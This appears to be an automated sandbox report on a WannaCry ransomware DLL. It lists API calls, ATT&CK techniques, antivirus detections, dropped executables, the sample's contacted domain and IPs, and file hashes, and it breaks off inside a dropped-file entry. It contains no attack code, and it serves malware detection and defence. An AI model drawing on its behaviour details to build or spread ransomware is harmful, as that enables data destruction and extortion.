Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		10_2_0040D155
Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoA,		10_2_00425EF0

Source: C:\Windows\tasksche.exe

Code function: 10_2_0040CA52 cpuid

10_2_0040CA52

Source: C:\Windows\tasksche.exe

Code function: 10_2_0040FEF0 OleInitialize,_memset,GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,LoadBitmapW,DialogBoxParamW,DeleteObject,DeleteObject,DeleteObject,CloseHandle,Sleep,OleUninitialize,

10_2_0040FEF0

Source: C:\Windows\tasksche.exe

Code function: 10_2_00409C06 GetVersionExW,

10_2_00409C06

Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\tasksche.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	4 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	4 Windows Service	2 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	Logon Script (Windows)	11 Process Injection	2 Software Packing	Security Account Manager	43 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	121 Masquerading	LSA Secrets	121 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Rundll32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vGJZ7R5D9P.dll	93%	Virustotal		Browse
vGJZ7R5D9P.dll	82%	Metadefender		Browse
vGJZ7R5D9P.dll	86%	ReversingLabs	Win32.Ransomware.WannaCry
vGJZ7R5D9P.dll	100%	Avira	TR/Wanna.cxjcv
vGJZ7R5D9P.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\mssecsvr.exe	100%	Avira	TR/Wanna.cxjcv
C:\Windows\tasksche.exe	100%	Avira	TR/Wanna.cxjcv
C:\Windows\eee.exe	100%	Joe Sandbox ML
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\WINDOWS\qeriuwjhrf (copy)	60%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\eee.exe	6%	Metadefender		Browse
C:\Windows\eee.exe	12%	ReversingLabs
C:\Windows\mssecsvr.exe	80%	Metadefender		Browse
C:\Windows\mssecsvr.exe	100%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\tasksche.exe	60%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.gafen	Download File
6.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
8.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
6.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
4.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
6.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
4.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
6.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
4.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
4.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
4.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Wanna.cxjcv	Download File
6.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Wanna.cxjcv	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	URL Reputation	malware
http://help.disneyplus.com.	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	100%	URL Reputation	malware
https://www.pango.co/privacy	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000018.00000002.685164490.00000209CDB00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000018.00000003.659897114.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.670126362.00000209CE002000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000008.00000002.987068112.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.2.dr	true	URL Reputation: malware	unknown
http://help.disneyplus.com.	svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.hotspotshield.com/	svchost.exe, 00000018.00000003.642574149.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.643362636.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642771075.00000209CDB97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642862532.00000209CDBA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hotspotshield.com/terms/	svchost.exe, 00000018.00000003.642574149.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.643362636.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642771075.00000209CDB97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642862532.00000209CDBA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	mssecsvr.exe, 00000006.00000002.396579005.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000006.00000002.395980030.0000000000BE7000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000006.00000003.391831269.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, mssecsvr.exe, 00000008.00000003.388074757.0000000000B64000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.pango.co/privacy	svchost.exe, 00000018.00000003.642574149.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.643362636.00000209CE002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642771075.00000209CDB97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000018.00000003.642862532.00000209CDBA8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 00000018.00000003.648519074.00000209CDB9D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.20.127.249	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
178.184.147.223	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
220.154.225.34	unknown	China	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
105.95.227.79	unknown	Egypt	36992	ETISALAT-MISREG	false
12.49.174.221	unknown	United States	7018	ATT-INTERNET4US	false
166.161.144.226	unknown	United States	22394	CELLCOUS	false
38.15.41.88	unknown	United States	174	COGENT-174US	false
211.212.18.126	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
55.212.148.172	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
117.29.17.99	unknown	China	133776	CHINATELECOM-FUJIAN-QUANZHOU-IDC1QuanzhouCN	false
46.235.161.26	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
150.61.208.32	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
195.235.72.107	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
172.219.71.1	unknown	Canada	852	ASN852CA	false
123.7.113.30	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
170.41.169.35	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
190.128.77.107	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
90.199.226.254	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
125.101.55.143	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
105.44.198.189	unknown	Egypt	37069	MOBINILEG	false
171.251.149.5	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
119.0.69.139	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
171.50.238.48	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
200.95.33.237	unknown	Mexico	8151	UninetSAdeCVMX	false
142.43.104.156	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
136.55.159.128	unknown	United States	16591	GOOGLE-FIBERUS	false
210.26.133.172	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
195.123.213.150	unknown	Bulgaria	50979	ITL-LV	false
74.8.166.231	unknown	United States	7029	WINDSTREAMUS	false
178.145.220.143	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
7.5.219.95	unknown	United States	3356	LEVEL3US	false
21.226.64.122	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
109.169.59.76	unknown	United Kingdom	20860	IOMART-ASGB	false
153.46.202.202	unknown	United States	2116	ASN-CATCHCOMNO	false
83.14.139.174	unknown	Poland	5617	TPNETPL	false
172.88.113.109	unknown	United States	20001	TWC-20001-PACWESTUS	false
51.88.41.88	unknown	United States	2686	ATGS-MMD-ASUS	false
44.244.178.122	unknown	United States	16509	AMAZON-02US	false
180.130.160.17	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
223.101.76.24	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
15.168.69.233	unknown	United States	71	HP-INTERNET-ASUS	false
86.21.136.33	unknown	United Kingdom	5089	NTLGB	false
223.164.37.11	unknown	Indonesia	9785	JASATELNET-AS-IDJasaTerpaduTelematikaJasatelID	false
149.163.82.154	unknown	United States	87	INDIANA-ASUS	false
137.72.210.165	unknown	United States	37440	Airtel-MW	false
46.196.248.56	unknown	Turkey	47524	TURKSAT-ASTR	false
44.197.73.249	unknown	United States	14618	AMAZON-AESUS	false
184.21.118.144	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
194.160.244.57	unknown	Slovakia (SLOVAK Republic)	2607	SANETSlovakAcademicNetworkSK	false
185.0.59.195	unknown	unknown	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.94
192.168.2.132

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	670045
Start date and time: 20/07/202215:41:47	2022-07-20 15:41:47 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vGJZ7R5D9P (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@24/7@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.7% (good quality ratio 97.5%) Quality average: 86.9% Quality standard deviation: 21.2%
HCA Information:	Successful, ratio: 58% Number of executed functions: 30 Number of non-executed functions: 103
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.35.236.56, 20.223.24.244
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, settings-win.data.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, b-ring.msedge.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, fp-as.azureedge.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:43:14	API Interceptor	1x Sleep call for process: loaddll32.exe modified
15:44:43	API Interceptor	9x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ASN-WINDTREIUNETEU	Tlx86B9f1a.dll	Get hash	malicious	Browse	151.84.24.165
	mw2xyz6M8y.dll	Get hash	malicious	Browse	151.43.195.194
	ezInolE9F1.dll	Get hash	malicious	Browse	151.17.93.226
	t1M6qXGru4.dll	Get hash	malicious	Browse	151.35.189.196
	orfxjJiar4.dll	Get hash	malicious	Browse	151.42.194.38
	RqnNqzFeHS.dll	Get hash	malicious	Browse	176.206.248.48
	tcP1ktbn2y.dll	Get hash	malicious	Browse	151.68.8.163
	qTFNxgBRmH.dll	Get hash	malicious	Browse	151.18.7.39
	jhCvgNOQIG.dll	Get hash	malicious	Browse	151.77.240.176
	deBCAPMSFb.dll	Get hash	malicious	Browse	151.79.144.212
	ARQS2dIfbL.dll	Get hash	malicious	Browse	151.31.248.173
	6ZwG5u2nN2.dll	Get hash	malicious	Browse	151.13.191.43
	JIzNxwvQm7.dll	Get hash	malicious	Browse	151.13.202.47
	1GevvT5j9F.dll	Get hash	malicious	Browse	151.50.30.209
	aevhgobxY3.dll	Get hash	malicious	Browse	151.21.76.73
	BJsaOalTtL.dll	Get hash	malicious	Browse	151.61.213.253
	DE7G4zXBtc.dll	Get hash	malicious	Browse	151.52.218.66
	jlDcDtXgq9.dll	Get hash	malicious	Browse	151.36.105.222
	iuKGeTa48w.dll	Get hash	malicious	Browse	176.207.235.28
	N8vMLXn2G8.dll	Get hash	malicious	Browse	176.207.213.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	LqFrFb5HSi.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	1dZpiDSt6e.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	1907028_SecuredM.hTml	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	_message-audio.htm	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	11236538.html	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	GtD4y3sR6p.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	yUmz1y2VlN.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	0AoAuUD0hv.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	2RjU5Sgppd.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	Jj29gnNYzx.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	http://tracking.vedupdate.com/tracking/click?d=1k1ihPA66PZCuLWj2723CooG7W1qjCbMOZOaHhQFcoxVzieX6RuPHWcWVjdWtiqrru39deCSQ5gZar-DUza0TJxxmagxs1dmp0zEjwOttpjxp0EuuRJXMnOMULgb4pobXuS3Ddm-DKe--QnUh69d0bKOgo8fky6RcORsR6V7fIVX0KphYYCjVoW5UxuexLI0xg2	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	vKCs8E9GUn.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	GRse5xOyWS.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	Ro7wuVL55V.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	SCAN_Brownadvisory-3499418785925189846-290530.html	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	lF88TMoBXK.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	EQ6oxEN381.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	log.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	sXmvuKR3fV.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
	vR5qE3L7ow.dll	Get hash	malicious	Browse	20.190.159.72 52.242.101.226 20.72.205.209 40.125.122.176 52.152.110.14
9e10692f1b7f78228b2d4e424db3a98c	LqFrFb5HSi.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	1dZpiDSt6e.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	SGE15KlJOE.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	1907028_SecuredM.hTml	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	_message-audio.htm	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	11236538.html	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	GtD4y3sR6p.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	https://www.canva.com/design/DAFGxIrjRGo/view	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	yUmz1y2VlN.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	0AoAuUD0hv.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	2RjU5Sgppd.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	Jj29gnNYzx.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	http://tracking.vedupdate.com/tracking/click?d=1k1ihPA66PZCuLWj2723CooG7W1qjCbMOZOaHhQFcoxVzieX6RuPHWcWVjdWtiqrru39deCSQ5gZar-DUza0TJxxmagxs1dmp0zEjwOttpjxp0EuuRJXMnOMULgb4pobXuS3Ddm-DKe--QnUh69d0bKOgo8fky6RcORsR6V7fIVX0KphYYCjVoW5UxuexLI0xg2	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	vKCs8E9GUn.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	GRse5xOyWS.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	Ro7wuVL55V.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	SCAN_Brownadvisory-3499418785925189846-290530.html	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	1Pf340IWZT.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	lF88TMoBXK.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94
	EQ6oxEN381.dll	Get hash	malicious	Browse	20.40.136.238 80.67.82.211 20.40.129.122 20.238.103.94

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Windows\eee.exe	vEbriCJic0.dll	Get hash	malicious	Browse
	48O5lgRp91.dll	Get hash	malicious	Browse
	PDAZE3eQB1.dll	Get hash	malicious	Browse
	rBsGH746YC.dll	Get hash	malicious	Browse
	dKkvbrzdUL.dll	Get hash	malicious	Browse
	UjhHNEfOFP.dll	Get hash	malicious	Browse
	d8oGI2K5Bi.dll	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9a7eb6d0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2506761344846179
Encrypted:	false
SSDEEP:	384:E+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:7SB2nSB2RSjlK/+mLesOj1J2
MD5:	9C3C5A904DF0991E92A9E9CDCA8D994C
SHA1:	9B0676F37EBD2F439025D7DBD2787901F3CBB7A0
SHA-256:	14F4B117CF64C06596F083D324A582F381FAFD841369C3AC36177CE6ECE8FB72
SHA-512:	CE602940CECFA68AF3B9413520439A8BF1A7853F1AF79F6F794FC0D2B5BDA3D27A867AD40CCB154A12CB8A0220EA23458F36FBB122D581B8554C94E4A7635B6C
Malicious:	false
Preview:	.~..... ................e.f.3...w........................&..........w...,...z..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w...........................................................................................................................................................................................................................................,...z....................Z..,...z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Download File

Process:	C:\Windows\tasksche.exe
File Type:	data
Category:	modified
Size (bytes):	58320
Entropy (8bit):	1.8478619453268057
Encrypted:	false
SSDEEP:	96:dBnhh1c2PisyGQ7NiW+DwoHxqcht/9/8iivR5GEjLvO63TExu7p2zi8MT2Vh6IOn:Xhh1/PisUhacopj0frOd87p2G8MT66IO
MD5:	88FEF4FBA28FB497D29EC43C0D37F9E3
SHA1:	5FA3DF65C300E7D5EE87C0E3ACC992212A5C76E2
SHA-256:	C633FE15B3072DA445B88FDD299248F2D933A2DAB45CAF32A87B0BB47BF7BBD7
SHA-512:	7724D0E9017D24F7546346FCBFDA6CE6BC791F2314D09B59D2CEDA95574454874ED3B97DE9E592C9DBAFAC159639C1663158D443E14E6140AF36B3563FD83E00
Malicious:	false
Preview:	..0 IMMM ...........K...(......... ......................................................................................................................................................................................................................................................................................................................................*.r.^.C .......x........................................................................................................................................................................................................................................................................................................................................................>ki..8. .......(...88..................................................q....sp........................................................................................................................................................................................................

C:\WINDOWS\qeriuwjhrf (copy)

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.626098767409981
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SARMC5:XyfBhz1aRxcSUDk36SARV
MD5:	86DA3236875CBBC62DD722ADA7F81D89
SHA1:	37272B295D417AAC35F5E5D0F9AA448484BD847C
SHA-256:	73771F6F76F27A76FA2F5257685849E5545B07EEC8DBB9864A6C15595ECDAFF0
